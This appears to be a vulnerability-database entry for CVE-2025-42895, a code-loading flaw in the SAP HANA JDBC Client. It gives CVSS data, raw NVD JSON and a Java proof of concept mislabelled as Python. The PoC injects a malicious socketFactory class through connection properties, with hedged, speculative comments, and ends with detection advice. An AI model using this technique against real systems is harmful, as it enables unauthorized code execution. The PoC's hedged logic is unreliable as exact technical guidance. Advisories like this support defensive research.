Security Vulnerability Report
中文
CVE-2025-42895 CVSS 6.9 MEDIUM

CVE-2025-42895

Published: 2025-11-11 01:15:38
Last Modified: 2026-04-15 00:35:42

Description

Due to insufficient validation of connection property values, the SAP HANA JDBC Client allows a high-privilege locally authenticated user to supply crafted parameters that lead to unauthorized code loading, resulting in low impact on confidentiality and integrity and high impact on availability of the application.

CVSS Details

CVSS Score
6.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

SAP HANA JDBC Client < 2.19.x (specific versions per SAP Note 3643385)
SAP HANA Database 2.0 所有受影响版本
SAP HANA Platform 1.0 所有受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-42895 PoC - SAP HANA JDBC Client Unauthorized Code Loading // This PoC demonstrates how crafted connection properties can lead to code loading import java.util.Properties; import java.sql.DriverManager; import java.sql.Connection; public class CVE_2025_42895_PoC { public static void main(String[] args) { try { // Load SAP HANA JDBC Driver Class.forName("com.sap.db.jdbc.Driver"); Properties props = new Properties(); props.setProperty("user", "SYSTEM"); props.setProperty("password", "YourPassword123"); // Crafted malicious connection properties // Attack vector: manipulating socketFactory property props.setProperty("socketFactory", "com.malicious.MaliciousSocketFactory"); // Alternative attack vectors // props.setProperty("sslTrustStore", "file:///path/to/malicious/truststore"); // props.setProperty("sslKeyStore", "file:///path/to/malicious/keystore"); // Attempt connection with crafted parameters String url = "jdbc:sap://target-hana-server:30015"; Connection conn = DriverManager.getConnection(url, props); System.out.println("[+] Connection established - Potential code execution via crafted property"); } catch (ClassNotFoundException e) { System.out.println("[-] SAP HANA JDBC Driver not found"); } catch (Exception e) { System.out.println("[-] Connection failed: " + e.getMessage()); // In real attack, the driver may attempt to load the specified class // even if connection fails, leading to code execution } } } /* Attack Requirements: 1. High-privilege local authenticated user access 2. Ability to modify JDBC connection parameters 3. Target system running vulnerable SAP HANA JDBC Client version Detection: - Monitor for unexpected class loading via JDBC driver - Log and audit JDBC connection properties - Monitor for suspicious socketFactory or SSL-related property usage */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42895", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:38.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insufficient validation of connection property values, the SAP HANA JDBC Client allows a high-privilege locally authenticated user to supply crafted parameters that lead to unauthorized code loading, resulting in low impact on confidentiality and integrity and high impact on availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:H", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://me.sap.com/notes/3643385", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}